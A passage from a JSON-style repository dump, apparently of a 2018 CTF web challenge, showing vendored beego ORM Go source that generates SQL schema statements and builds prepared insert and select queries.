flag.NewFlagSet(\"orm command: sqlall\", flag.ExitOnError)\n\tflagSet.StringVar(&name, \"db\", \"default\", \"DataBase alias name\")\n\tflagSet.Parse(args)\n\n\td.al = getDbAlias(name)\n}\n\n// run orm line command.\nfunc (d *commandSQLAll) Run() error {\n\tsqls, indexes := getDbCreateSQL(d.al)\n\tvar all []string\n\tfor i, mi := range modelCache.allOrdered() {\n\t\tqueries := []string{sqls[i]}\n\t\tfor _, idx := range indexes[mi.table] {\n\t\t\tqueries = append(queries, idx.SQL)\n\t\t}\n\t\tsql := strings.Join(queries, \"\\n\")\n\t\tall = append(all, sql)\n\t}\n\tfmt.Println(strings.Join(all, \"\\n\\n\"))\n\n\treturn nil\n}\n\nfunc init() {\n\tcommands[\"syncdb\"] = new(commandSyncDb)\n\tcommands[\"sqlall\"] = new(commandSQLAll)\n}\n\n// RunSyncdb run syncdb command line.\n// name means table's alias name. default is \"default\".\n// force means run next sql if the current is error.\n// verbose means show all info when running command or not.\nfunc RunSyncdb(name string, force bool, verbose bool) error {\n\tBootStrap()\n\n\tal := getDbAlias(name)\n\tcmd := new(commandSyncDb)\n\tcmd.al = al\n\tcmd.force = force\n\tcmd.noInfo = !verbose\n\tcmd.verbose = verbose\n\tcmd.rtOnError = true\n\treturn cmd.Run()\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/orm/cmd_utils.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage orm\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\t\"strings\"\n)\n\ntype dbIndex struct {\n\tTable string\n\tName  string\n\tSQL   string\n}\n\n// create database drop sql.\nfunc getDbDropSQL(al *alias) (sqls []string) {\n\tif len(modelCache.cache) == 0 {\n\t\tfmt.Println(\"no Model found, need register your model\")\n\t\tos.Exit(2)\n\t}\n\n\tQ := al.DbBaser.TableQuote()\n\n\tfor _, mi := range modelCache.allOrdered() {\n\t\tsqls = append(sqls, fmt.Sprintf(`DROP TABLE IF EXISTS %s%s%s`, Q, mi.table, Q))\n\t}\n\treturn sqls\n}\n\n// get database column type string.\nfunc getColumnTyp(al *alias, fi *fieldInfo) (col string) {\n\tT := al.DbBaser.DbTypes()\n\tfieldType := fi.fieldType\n\tfieldSize := fi.size\n\ncheckColumn:\n\tswitch fieldType {\n\tcase TypeBooleanField:\n\t\tcol = T[\"bool\"]\n\tcase TypeVarCharField:\n\t\tif al.Driver == DRPostgres && fi.toText {\n\t\t\tcol = T[\"string-text\"]\n\t\t} else {\n\t\t\tcol = fmt.Sprintf(T[\"string\"], fieldSize)\n\t\t}\n\tcase TypeCharField:\n\t\tcol = fmt.Sprintf(T[\"string-char\"], fieldSize)\n\tcase TypeTextField:\n\t\tcol = T[\"string-text\"]\n\tcase TypeTimeField:\n\t\tcol = T[\"time.Time-clock\"]\n\tcase TypeDateField:\n\t\tcol = T[\"time.Time-date\"]\n\tcase TypeDateTimeField:\n\t\tcol = T[\"time.Time\"]\n\tcase TypeBitField:\n\t\tcol = T[\"int8\"]\n\tcase TypeSmallIntegerField:\n\t\tcol = T[\"int16\"]\n\tcase TypeIntegerField:\n\t\tcol = T[\"int32\"]\n\tcase TypeBigIntegerField:\n\t\tif al.Driver == DRSqlite {\n\t\t\tfieldType = TypeIntegerField\n\t\t\tgoto checkColumn\n\t\t}\n\t\tcol = T[\"int64\"]\n\tcase TypePositiveBitField:\n\t\tcol = T[\"uint8\"]\n\tcase TypePositiveSmallIntegerField:\n\t\tcol = T[\"uint16\"]\n\tcase TypePositiveIntegerField:\n\t\tcol = T[\"uint32\"]\n\tcase TypePositiveBigIntegerField:\n\t\tcol = T[\"uint64\"]\n\tcase TypeFloatField:\n\t\tcol = T[\"float64\"]\n\tcase TypeDecimalField:\n\t\ts := T[\"float64-decimal\"]\n\t\tif !strings.Contains(s, \"%d\") {\n\t\t\tcol = s\n\t\t} else {\n\t\t\tcol = fmt.Sprintf(s, fi.digits, fi.decimals)\n\t\t}\n\tcase TypeJSONField:\n\t\tif al.Driver != DRPostgres {\n\t\t\tfieldType = TypeVarCharField\n\t\t\tgoto checkColumn\n\t\t}\n\t\tcol = T[\"json\"]\n\tcase TypeJsonbField:\n\t\tif al.Driver != DRPostgres {\n\t\t\tfieldType = TypeVarCharField\n\t\t\tgoto checkColumn\n\t\t}\n\t\tcol = T[\"jsonb\"]\n\tcase RelForeignKey, RelOneToOne:\n\t\tfieldType = fi.relModelInfo.fields.pk.fieldType\n\t\tfieldSize = fi.relModelInfo.fields.pk.size\n\t\tgoto checkColumn\n\t}\n\n\treturn\n}\n\n// create alter sql string.\nfunc getColumnAddQuery(al *alias, fi *fieldInfo) string {\n\tQ := al.DbBaser.TableQuote()\n\ttyp := getColumnTyp(al, fi)\n\n\tif !fi.null {\n\t\ttyp += \" \" + \"NOT NULL\"\n\t}\n\n\treturn fmt.Sprintf(\"ALTER TABLE %s%s%s ADD COLUMN %s%s%s %s %s\",\n\t\tQ, fi.mi.table, Q,\n\t\tQ, fi.column, Q,\n\t\ttyp, getColumnDefault(fi),\n\t)\n}\n\n// create database creation string.\nfunc getDbCreateSQL(al *alias) (sqls []string, tableIndexes map[string][]dbIndex) {\n\tif len(modelCache.cache) == 0 {\n\t\tfmt.Println(\"no Model found, need register your model\")\n\t\tos.Exit(2)\n\t}\n\n\tQ := al.DbBaser.TableQuote()\n\tT := al.DbBaser.DbTypes()\n\tsep := fmt.Sprintf(\"%s, %s\", Q, Q)\n\n\ttableIndexes = make(map[string][]dbIndex)\n\n\tfor _, mi := range modelCache.allOrdered() {\n\t\tsql := fmt.Sprintf(\"-- %s\\n\", strings.Repeat(\"-\", 50))\n\t\tsql += fmt.Sprintf(\"--  Table Structure for `%s`\\n\", mi.fullName)\n\t\tsql += fmt.Sprintf(\"-- %s\\n\", strings.Repeat(\"-\", 50))\n\n\t\tsql += fmt.Sprintf(\"CREATE TABLE IF NOT EXISTS %s%s%s (\\n\", Q, mi.table, Q)\n\n\t\tcolumns := make([]string, 0, len(mi.fields.fieldsDB))\n\n\t\tsqlIndexes := [][]string{}\n\n\t\tfor _, fi := range mi.fields.fieldsDB {\n\n\t\t\tcolumn := fmt.Sprintf(\"    %s%s%s \", Q, fi.column, Q)\n\t\t\tcol := getColumnTyp(al, fi)\n\n\t\t\tif fi.auto {\n\t\t\t\tswitch al.Driver {\n\t\t\t\tcase DRSqlite, DRPostgres:\n\t\t\t\t\tcolumn += T[\"auto\"]\n\t\t\t\tdefault:\n\t\t\t\t\tcolumn += col + \" \" + T[\"auto\"]\n\t\t\t\t}\n\t\t\t} else if fi.pk {\n\t\t\t\tcolumn += col + \" \" + T[\"pk\"]\n\t\t\t} else {\n\t\t\t\tcolumn += col\n\n\t\t\t\tif !fi.null {\n\t\t\t\t\tcolumn += \" \" + \"NOT NULL\"\n\t\t\t\t}\n\n\t\t\t\t//if fi.initial.String() != \"\" {\n\t\t\t\t//\tcolumn += \" DEFAULT \" + fi.initial.String()\n\t\t\t\t//}\n\n\t\t\t\t// Append attribute DEFAULT\n\t\t\t\tcolumn += getColumnDefault(fi)\n\n\t\t\t\tif fi.unique {\n\t\t\t\t\tcolumn += \" \" + \"UNIQUE\"\n\t\t\t\t}\n\n\t\t\t\tif fi.index {\n\t\t\t\t\tsqlIndexes = append(sqlIndexes, []string{fi.column})\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif strings.Contains(column, \"%COL%\") {\n\t\t\t\tcolumn = strings.Replace(column, \"%COL%\", fi.column, -1)\n\t\t\t}\n\n\t\t\tcolumns = append(columns, column)\n\t\t}\n\n\t\tif mi.model != nil {\n\t\t\tallnames := getTableUnique(mi.addrField)\n\t\t\tif !mi.manual && len(mi.uniques) > 0 {\n\t\t\t\tallnames = append(allnames, mi.uniques)\n\t\t\t}\n\t\t\tfor _, names := range allnames {\n\t\t\t\tcols := make([]string, 0, len(names))\n\t\t\t\tfor _, name := range names {\n\t\t\t\t\tif fi, ok := mi.fields.GetByAny(name); ok && fi.dbcol {\n\t\t\t\t\t\tcols = append(cols, fi.column)\n\t\t\t\t\t} else {\n\t\t\t\t\t\tpanic(fmt.Errorf(\"cannot found column `%s` when parse UNIQUE in `%s.TableUnique`\", name, mi.fullName))\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tcolumn := fmt.Sprintf(\"    UNIQUE (%s%s%s)\", Q, strings.Join(cols, sep), Q)\n\t\t\t\tcolumns = append(columns, column)\n\t\t\t}\n\t\t}\n\n\t\tsql += strings.Join(columns, \",\\n\")\n\t\tsql += \"\\n)\"\n\n\t\tif al.Driver == DRMySQL {\n\t\t\tvar engine string\n\t\t\tif mi.model != nil {\n\t\t\t\tengine = getTableEngine(mi.addrField)\n\t\t\t}\n\t\t\tif engine == \"\" {\n\t\t\t\tengine = al.Engine\n\t\t\t}\n\t\t\tsql += \" ENGINE=\" + engine\n\t\t}\n\n\t\tsql += \";\"\n\t\tsqls = append(sqls, sql)\n\n\t\tif mi.model != nil {\n\t\t\tfor _, names := range getTableIndex(mi.addrField) {\n\t\t\t\tcols := make([]string, 0, len(names))\n\t\t\t\tfor _, name := range names {\n\t\t\t\t\tif fi, ok := mi.fields.GetByAny(name); ok && fi.dbcol {\n\t\t\t\t\t\tcols = append(cols, fi.column)\n\t\t\t\t\t} else {\n\t\t\t\t\t\tpanic(fmt.Errorf(\"cannot found column `%s` when parse INDEX in `%s.TableIndex`\", name, mi.fullName))\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tsqlIndexes = append(sqlIndexes, cols)\n\t\t\t}\n\t\t}\n\n\t\tfor _, names := range sqlIndexes {\n\t\t\tname := mi.table + \"_\" + strings.Join(names, \"_\")\n\t\t\tcols := strings.Join(names, sep)\n\t\t\tsql := fmt.Sprintf(\"CREATE INDEX %s%s%s ON %s%s%s (%s%s%s);\", Q, name, Q, Q, mi.table, Q, Q, cols, Q)\n\n\t\t\tindex := dbIndex{}\n\t\t\tindex.Table = mi.table\n\t\t\tindex.Name = name\n\t\t\tindex.SQL = sql\n\n\t\t\ttableIndexes[mi.table] = append(tableIndexes[mi.table], index)\n\t\t}\n\n\t}\n\n\treturn\n}\n\n// Get string value for the attribute \"DEFAULT\" for the CREATE, ALTER commands\nfunc getColumnDefault(fi *fieldInfo) string {\n\tvar (\n\t\tv, t, d string\n\t)\n\n\t// Skip default attribute if field is in relations\n\tif fi.rel || fi.reverse {\n\t\treturn v\n\t}\n\n\tt = \" DEFAULT '%s' \"\n\n\t// These defaults will be useful if there no config value orm:\"default\" and NOT NULL is on\n\tswitch fi.fieldType {\n\tcase TypeTimeField, TypeDateField, TypeDateTimeField, TypeTextField:\n\t\treturn v\n\n\tcase TypeBitField, TypeSmallIntegerField, TypeIntegerField,\n\t\tTypeBigIntegerField, TypePositiveBitField, TypePositiveSmallIntegerField,\n\t\tTypePositiveIntegerField, TypePositiveBigIntegerField, TypeFloatField,\n\t\tTypeDecimalField:\n\t\tt = \" DEFAULT %s \"\n\t\td = \"0\"\n\tcase TypeBooleanField:\n\t\tt = \" DEFAULT %s \"\n\t\td = \"FALSE\"\n\tcase TypeJSONField, TypeJsonbField:\n\t\td = \"{}\"\n\t}\n\n\tif fi.colDefault {\n\t\tif !fi.initial.Exist() {\n\t\t\tv = fmt.Sprintf(t, \"\")\n\t\t} else {\n\t\t\tv = fmt.Sprintf(t, fi.initial.String())\n\t\t}\n\t} else {\n\t\tif !fi.null {\n\t\t\tv = fmt.Sprintf(t, d)\n\t\t}\n\t}\n\n\treturn v\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/orm/db.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage orm\n\nimport (\n\t\"database/sql\"\n\t\"errors\"\n\t\"fmt\"\n\t\"reflect\"\n\t\"strings\"\n\t\"time\"\n)\n\nconst (\n\tformatTime     = \"15:04:05\"\n\tformatDate     = \"2006-01-02\"\n\tformatDateTime = \"2006-01-02 15:04:05\"\n)\n\nvar (\n\t// ErrMissPK missing pk error\n\tErrMissPK = errors.New(\"missed pk value\")\n)\n\nvar (\n\toperators = map[string]bool{\n\t\t\"exact\":     true,\n\t\t\"iexact\":    true,\n\t\t\"contains\":  true,\n\t\t\"icontains\": true,\n\t\t// \"regex\":       true,\n\t\t// \"iregex\":      true,\n\t\t\"gt\":          true,\n\t\t\"gte\":         true,\n\t\t\"lt\":          true,\n\t\t\"lte\":         true,\n\t\t\"eq\":          true,\n\t\t\"nq\":          true,\n\t\t\"ne\":          true,\n\t\t\"startswith\":  true,\n\t\t\"endswith\":    true,\n\t\t\"istartswith\": true,\n\t\t\"iendswith\":   true,\n\t\t\"in\":          true,\n\t\t\"between\":     true,\n\t\t// \"year\":        true,\n\t\t// \"month\":       true,\n\t\t// \"day\":         true,\n\t\t// \"week_day\":    true,\n\t\t\"isnull\": true,\n\t\t// \"search\":      true,\n\t}\n)\n\n// an instance of dbBaser interface/\ntype dbBase struct {\n\tins dbBaser\n}\n\n// check dbBase implements dbBaser interface.\nvar _ dbBaser = new(dbBase)\n\n// get struct columns values as interface slice.\nfunc (d *dbBase) collectValues(mi *modelInfo, ind reflect.Value, cols []string, skipAuto bool, insert bool, names *[]string, tz *time.Location) (values []interface{}, autoFields []string, err error) {\n\tif names == nil {\n\t\tns := make([]string, 0, len(cols))\n\t\tnames = &ns\n\t}\n\tvalues = make([]interface{}, 0, len(cols))\n\n\tfor _, column := range cols {\n\t\tvar fi *fieldInfo\n\t\tif fi, _ = mi.fields.GetByAny(column); fi != nil {\n\t\t\tcolumn = fi.column\n\t\t} else {\n\t\t\tpanic(fmt.Errorf(\"wrong db field/column name `%s` for model `%s`\", column, mi.fullName))\n\t\t}\n\t\tif !fi.dbcol || fi.auto && skipAuto {\n\t\t\tcontinue\n\t\t}\n\t\tvalue, err := d.collectFieldValue(mi, fi, ind, insert, tz)\n\t\tif err != nil {\n\t\t\treturn nil, nil, err\n\t\t}\n\n\t\t// ignore empty value auto field\n\t\tif insert && fi.auto {\n\t\t\tif fi.fieldType&IsPositiveIntegerField > 0 {\n\t\t\t\tif vu, ok := value.(uint64); !ok || vu == 0 {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tif vu, ok := value.(int64); !ok || vu == 0 {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t}\n\t\t\tautoFields = append(autoFields, fi.column)\n\t\t}\n\n\t\t*names, values = append(*names, column), append(values, value)\n\t}\n\n\treturn\n}\n\n// get one field value in struct column as interface.\nfunc (d *dbBase) collectFieldValue(mi *modelInfo, fi *fieldInfo, ind reflect.Value, insert bool, tz *time.Location) (interface{}, error) {\n\tvar value interface{}\n\tif fi.pk {\n\t\t_, value, _ = getExistPk(mi, ind)\n\t} else {\n\t\tfield := ind.FieldByIndex(fi.fieldIndex)\n\t\tif fi.isFielder {\n\t\t\tf := field.Addr().Interface().(Fielder)\n\t\t\tvalue = f.RawValue()\n\t\t} else {\n\t\t\tswitch fi.fieldType {\n\t\t\tcase TypeBooleanField:\n\t\t\t\tif nb, ok := field.Interface().(sql.NullBool); ok {\n\t\t\t\t\tvalue = nil\n\t\t\t\t\tif nb.Valid {\n\t\t\t\t\t\tvalue = nb.Bool\n\t\t\t\t\t}\n\t\t\t\t} else if field.Kind() == reflect.Ptr {\n\t\t\t\t\tif field.IsNil() {\n\t\t\t\t\t\tvalue = nil\n\t\t\t\t\t} else {\n\t\t\t\t\t\tvalue = field.Elem().Bool()\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tvalue = field.Bool()\n\t\t\t\t}\n\t\t\tcase TypeVarCharField, TypeCharField, TypeTextField, TypeJSONField, TypeJsonbField:\n\t\t\t\tif ns, ok := field.Interface().(sql.NullString); ok {\n\t\t\t\t\tvalue = nil\n\t\t\t\t\tif ns.Valid {\n\t\t\t\t\t\tvalue = ns.String\n\t\t\t\t\t}\n\t\t\t\t} else if field.Kind() == reflect.Ptr {\n\t\t\t\t\tif field.IsNil() {\n\t\t\t\t\t\tvalue = nil\n\t\t\t\t\t} else {\n\t\t\t\t\t\tvalue = field.Elem().String()\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tvalue = field.String()\n\t\t\t\t}\n\t\t\tcase TypeFloatField, TypeDecimalField:\n\t\t\t\tif nf, ok := field.Interface().(sql.NullFloat64); ok {\n\t\t\t\t\tvalue = nil\n\t\t\t\t\tif nf.Valid {\n\t\t\t\t\t\tvalue = nf.Float64\n\t\t\t\t\t}\n\t\t\t\t} else if field.Kind() == reflect.Ptr {\n\t\t\t\t\tif field.IsNil() {\n\t\t\t\t\t\tvalue = nil\n\t\t\t\t\t} else {\n\t\t\t\t\t\tvalue = field.Elem().Float()\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tvu := field.Interface()\n\t\t\t\t\tif _, ok := vu.(float32); ok {\n\t\t\t\t\t\tvalue, _ = StrTo(ToStr(vu)).Float64()\n\t\t\t\t\t} else {\n\t\t\t\t\t\tvalue = field.Float()\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\tcase TypeTimeField, TypeDateField, TypeDateTimeField:\n\t\t\t\tvalue = field.Interface()\n\t\t\t\tif t, ok := value.(time.Time); ok {\n\t\t\t\t\td.ins.TimeToDB(&t, tz)\n\t\t\t\t\tif t.IsZero() {\n\t\t\t\t\t\tvalue = nil\n\t\t\t\t\t} else {\n\t\t\t\t\t\tvalue = t\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\tdefault:\n\t\t\t\tswitch {\n\t\t\t\tcase fi.fieldType&IsPositiveIntegerField > 0:\n\t\t\t\t\tif field.Kind() == reflect.Ptr {\n\t\t\t\t\t\tif field.IsNil() {\n\t\t\t\t\t\t\tvalue = nil\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tvalue = field.Elem().Uint()\n\t\t\t\t\t\t}\n\t\t\t\t\t} else {\n\t\t\t\t\t\tvalue = field.Uint()\n\t\t\t\t\t}\n\t\t\t\tcase fi.fieldType&IsIntegerField > 0:\n\t\t\t\t\tif ni, ok := field.Interface().(sql.NullInt64); ok {\n\t\t\t\t\t\tvalue = nil\n\t\t\t\t\t\tif ni.Valid {\n\t\t\t\t\t\t\tvalue = ni.Int64\n\t\t\t\t\t\t}\n\t\t\t\t\t} else if field.Kind() == reflect.Ptr {\n\t\t\t\t\t\tif field.IsNil() {\n\t\t\t\t\t\t\tvalue = nil\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tvalue = field.Elem().Int()\n\t\t\t\t\t\t}\n\t\t\t\t\t} else {\n\t\t\t\t\t\tvalue = field.Int()\n\t\t\t\t\t}\n\t\t\t\tcase fi.fieldType&IsRelField > 0:\n\t\t\t\t\tif field.IsNil() {\n\t\t\t\t\t\tvalue = nil\n\t\t\t\t\t} else {\n\t\t\t\t\t\tif _, vu, ok := getExistPk(fi.relModelInfo, reflect.Indirect(field)); ok {\n\t\t\t\t\t\t\tvalue = vu\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tvalue = nil\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tif !fi.null && value == nil {\n\t\t\t\t\t\treturn nil, fmt.Errorf(\"field `%s` cannot be NULL\", fi.fullName)\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tswitch fi.fieldType {\n\t\tcase TypeTimeField, TypeDateField, TypeDateTimeField:\n\t\t\tif fi.autoNow || fi.autoNowAdd && insert {\n\t\t\t\tif insert {\n\t\t\t\t\tif t, ok := value.(time.Time); ok && !t.IsZero() {\n\t\t\t\t\t\tbreak\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\ttnow := time.Now()\n\t\t\t\td.ins.TimeToDB(&tnow, tz)\n\t\t\t\tvalue = tnow\n\t\t\t\tif fi.isFielder {\n\t\t\t\t\tf := field.Addr().Interface().(Fielder)\n\t\t\t\t\tf.SetRaw(tnow.In(DefaultTimeLoc))\n\t\t\t\t} else if field.Kind() == reflect.Ptr {\n\t\t\t\t\tv := tnow.In(DefaultTimeLoc)\n\t\t\t\t\tfield.Set(reflect.ValueOf(&v))\n\t\t\t\t} else {\n\t\t\t\t\tfield.Set(reflect.ValueOf(tnow.In(DefaultTimeLoc)))\n\t\t\t\t}\n\t\t\t}\n\t\tcase TypeJSONField, TypeJsonbField:\n\t\t\tif s, ok := value.(string); (ok && len(s) == 0) || value == nil {\n\t\t\t\tif fi.colDefault && fi.initial.Exist() {\n\t\t\t\t\tvalue = fi.initial.String()\n\t\t\t\t} else {\n\t\t\t\t\tvalue = nil\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\treturn value, nil\n}\n\n// create insert sql preparation statement object.\nfunc (d *dbBase) PrepareInsert(q dbQuerier, mi *modelInfo) (stmtQuerier, string, error) {\n\tQ := d.ins.TableQuote()\n\n\tdbcols := make([]string, 0, len(mi.fields.dbcols))\n\tmarks := make([]string, 0, len(mi.fields.dbcols))\n\tfor _, fi := range mi.fields.fieldsDB {\n\t\tif !fi.auto {\n\t\t\tdbcols = append(dbcols, fi.column)\n\t\t\tmarks = append(marks, \"?\")\n\t\t}\n\t}\n\tqmarks := strings.Join(marks, \", \")\n\tsep := fmt.Sprintf(\"%s, %s\", Q, Q)\n\tcolumns := strings.Join(dbcols, sep)\n\n\tquery := fmt.Sprintf(\"INSERT INTO %s%s%s (%s%s%s) VALUES (%s)\", Q, mi.table, Q, Q, columns, Q, qmarks)\n\n\td.ins.ReplaceMarks(&query)\n\n\td.ins.HasReturningID(mi, &query)\n\n\tstmt, err := q.Prepare(query)\n\treturn stmt, query, err\n}\n\n// insert struct with prepared statement and given struct reflect value.\nfunc (d *dbBase) InsertStmt(stmt stmtQuerier, mi *modelInfo, ind reflect.Value, tz *time.Location) (int64, error) {\n\tvalues, _, err := d.collectValues(mi, ind, mi.fields.dbcols, true, true, nil, tz)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\n\tif d.ins.HasReturningID(mi, nil) {\n\t\trow := stmt.QueryRow(values...)\n\t\tvar id int64\n\t\terr := row.Scan(&id)\n\t\treturn id, err\n\t}\n\tres, err := stmt.Exec(values...)\n\tif err == nil {\n\t\treturn res.LastInsertId()\n\t}\n\treturn 0, err\n}\n\n// query sql ,read records and persist in dbBaser.\nfunc (d *dbBase) Read(q dbQuerier, mi *modelInfo, ind reflect.Value, tz *time.Location, cols []string, isForUpdate bool) error {\n\tvar whereCols []string\n\tvar args []interface{}\n\n\t// if specify cols length > 0, then use it for where condition.\n\tif len(cols) > 0 {\n\t\tvar err error\n\t\twhereCols = make([]string, 0, len(cols))\n\t\targs, _, err = d.collectValues(mi, ind, cols, false, false, &whereCols, tz)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t} else {\n\t\t// default use pk value as where condtion.\n\t\tpkColumn, pkValue, ok := getExistPk(mi, ind)\n\t\tif !ok {\n\t\t\treturn ErrMissPK\n\t\t}\n\t\twhereCols = []string{pkColumn}\n\t\targs = append(args, pkValue)\n\t}\n\n\tQ := d.ins.TableQuote()\n\n\tsep := fmt.Sprintf(\"%s, %s\", Q, Q)\n\tsels := strings.Join(mi.fields.dbcols, sep)\n\tcolsNum := len(mi.fields.dbcols)\n\n\tsep = fmt.Sprintf(\"%s = ? AND %s\", Q, Q)\n\twheres := strings.Join(whereCols, sep)\n\n\tforUpdate := \"\"\n\tif isForUpdate {\n\t\tforUpdate = \"FOR UPDATE\"\n\t}\n\n\tquery := fmt.Sprintf(\"SELECT %s%s%s FROM %s%s%s WHERE %s%s%s = ? %s\", Q, sels, Q, Q, mi.table, Q, Q, wheres, Q, forUpdate)\n\n\trefs := make([]interface{}, colsNum)\n\tfor i := range refs {\n\t\tvar ref interface{}\n\t\trefs[i] = &ref\n\t}\n\n\td.ins.ReplaceMarks(&query)\n\n\trow := q.QueryRow(query, args...)\n\tif err := row.Scan(refs...); err != nil {\n\t\tif err == sql.ErrNoRows {\n\t\t\treturn ErrNoRows\n\t\t}\n\t\treturn err\n\t}\n\telm := reflect.New(mi.addrField.Elem().Type())\n\tmind := reflect.Indirect(elm)\n\td.setColsValues(mi, &mind, mi.fields.dbcols, refs, tz)\n\tind.Set(mind)\n\treturn nil\n}\n\n// execute insert sql dbQuerier with given struct reflect.Value.\nfunc (d *dbBase) Insert(q dbQuerier, mi *modelInfo, ind reflect.Value, tz *time.Location) (int64, error) {\n\tnames := make([]string, 0, len(mi.fields.dbcols))\n\tvalues, autoFields, err := d.collectValues(mi, ind, mi.fields.dbcols, false, true, &names, tz)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\n\tid, err := d.InsertValue(q, mi, false, names, values)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\n\tif len(autoFields) > 0 {\n\t\terr = d.ins.setval(q, mi, autoFields)\n\t}\n\treturn id, err\n}\n\n// multi-insert sql with given slice struct reflect.Value.\nfunc (d *dbBase) InsertMulti(q dbQuerier, mi *modelInfo, sind reflect.Value, bulk int, tz *time.Location) (int64, error) {\n\tvar (\n\t\tcnt    int64\n\t\tnums   int\n\t\tvalues []interface{}\n\t\tnames  []string\n\t)\n\n\t// typ := reflect.Indirect(mi.addrField).Type()\n\n\tlength, autoFields := sind.Len(), make([]string, 0, 1)\n\n\tfor i := 1; i <= length; i++ {\n\n\t\tind := reflect.Indirect(sind.Index(i - 1))\n\n\t\t// Is this needed ?\n\t\t// if !ind.Type().AssignableTo(typ) {\n\t\t// \treturn cnt, ErrArgs\n\t\t// }\n\n\t\tif i == 1 {\n\t\t\tvar (\n\t\t\t\tvus []interface{}\n\t\t\t\terr error\n\t\t\t)\n\t\t\tvus, autoFields, err = d.collectValues(mi, ind, mi.fields.dbcols, false, true, &names, tz)\n\t\t\tif err != nil {\n\t\t\t\treturn cnt, err\n\t\t\t}\n\t\t\tvalues = make([]interface{}, bulk*len(vus))\n\t\t\tnums += copy(values, vus)\n\t\t} else {\n\t\t\tvus, _, err := d.collectValues(mi, ind, mi.fields.dbcols, false, true, nil, tz)\n\t\t\tif err != nil {\n\t\t\t\treturn cnt, err\n\t\t\t}\n\n\t\t\tif len(vus) != len(names) {\n\t\t\t\treturn cnt, ErrArgs\n\t\t\t}\n\n\t\t\tnums += copy(values[nums:], vus)\n\t\t}\n\n\t\tif i > 1 && i%bulk == 0 || length == i {\n\t\t\tnum, err := d.InsertValue(q, mi, true, names, values[:nums])\n\t\t\tif err != nil {\n\t\t\t\treturn cnt, err\n\t\t\t}\n\t\t\tcnt += num\n\t\t\tnums = 0\n\t\t}\n\t}\n\n\tvar err error\n\tif len(autoFields) > 0 {\n\t\terr = d.ins.setval(q, mi, autoFields)\n\t}\n\n\treturn cnt, err\n}\n\n// execute insert sql with given struct and given values.\n// insert the given values, not the field values in struct.\nfunc (d *dbBase) InsertValue(q dbQuerier, mi *modelInfo, isMulti bool, names []string, values []interface{}) (int64, error) {\n\tQ := d.ins.TableQuote()\n\n\tmarks := make([]string, len(names))\n\tfor i := range marks {\n\t\tmarks[i] = \"?\"\n\t}\n\n\tsep := fmt.Sprintf(\"%s, %s\", Q, Q)\n\tqmarks := strings.Join(marks, \", \")\n\tcolumns := strings.Join(names, sep)\n\n\tmulti := len(values) / len(names)\n\n\tif isMulti {\n\t\tqmarks = strings.Repeat(qmarks+\"), (\", multi-1) + qmarks\n\t}\n\n\tquery := fmt.Sprintf(\"INSERT INTO %s%s%s (%s%s%s) VALUES (%s)\", Q, mi.table, Q, Q, columns, Q, qmarks)\n\n\td.ins.ReplaceMarks(&query)\n\n\tif isMulti || !d.ins.HasReturningID(mi, &query) {\n\t\tres, err := q.Exec(query, values...)\n\t\tif err == nil {\n\t\t\tif isMulti {\n\t\t\t\treturn res.RowsAffected()\n\t\t\t}\n\t\t\treturn res.LastInsertId()\n\t\t}\n\t\treturn 0, err\n\t}\n\trow := q.QueryRow(query, values...)\n\tvar id int64\n\terr := row.Scan(&id)\n\treturn id, err\n}\n\n// InsertOrUpdate a row\n// If your primary key or unique column conflict will update\n// If no will insert\nfunc (d *dbBase) InsertOrUpdate(q dbQuerier, mi *modelInfo, ind reflect.Value, a *alias, args ...string) (int64, error) {\n\targs0 := \"\"\n\tiouStr := \"\"\n\targsMap := map[string]string{}\n\tswitch a.Driver {\n\tcase DRMySQL:\n\t\tiouStr = \"ON DUPLICATE KEY UPDATE\"\n\tcase DRPostgres:\n\t\tif len(args) == 0 {\n\t\t\treturn 0, fmt.Errorf(\"`%s` use InsertOrUpdate must have a conflict column\", a.DriverName)\n\t\t}\n\t\targs0 = strings.ToLower(args[0])\n\t\tiouStr = fmt.Sprintf(\"ON CONFLICT (%s) DO UPDATE SET\", args0)\n\tdefault:\n\t\treturn 0, fmt.Errorf(\"`%s` nonsupport 